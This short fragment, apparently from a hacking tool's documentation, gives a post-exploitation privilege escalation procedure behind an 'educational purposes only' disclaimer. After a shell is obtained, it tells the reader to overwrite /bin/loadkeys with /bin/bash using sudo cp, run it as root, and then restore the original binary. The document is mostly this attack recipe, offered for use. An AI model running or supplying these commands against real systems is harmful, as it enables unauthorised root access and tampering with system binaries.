This tool is provided for educational purposes only and is designed to help security professionals test the vulnerability of their own systems. Unauthorized testing on systems that you do not have explicit permission to test is illegal and unethical. Use this tool responsibly.

Privilege Escalation

Once a shell has been obtained, privilege escalation can be achieved by following these commands as per the researcher’s guidance:

sudo /bin/cp /bin/loadkeys /tmp/loadkeys
sudo /bin/cp /bin/bash /bin/loadkeys
sudo /bin/loadkeys -c /bin/bash
cp /tmp/loadkeys /bin/loadkeys
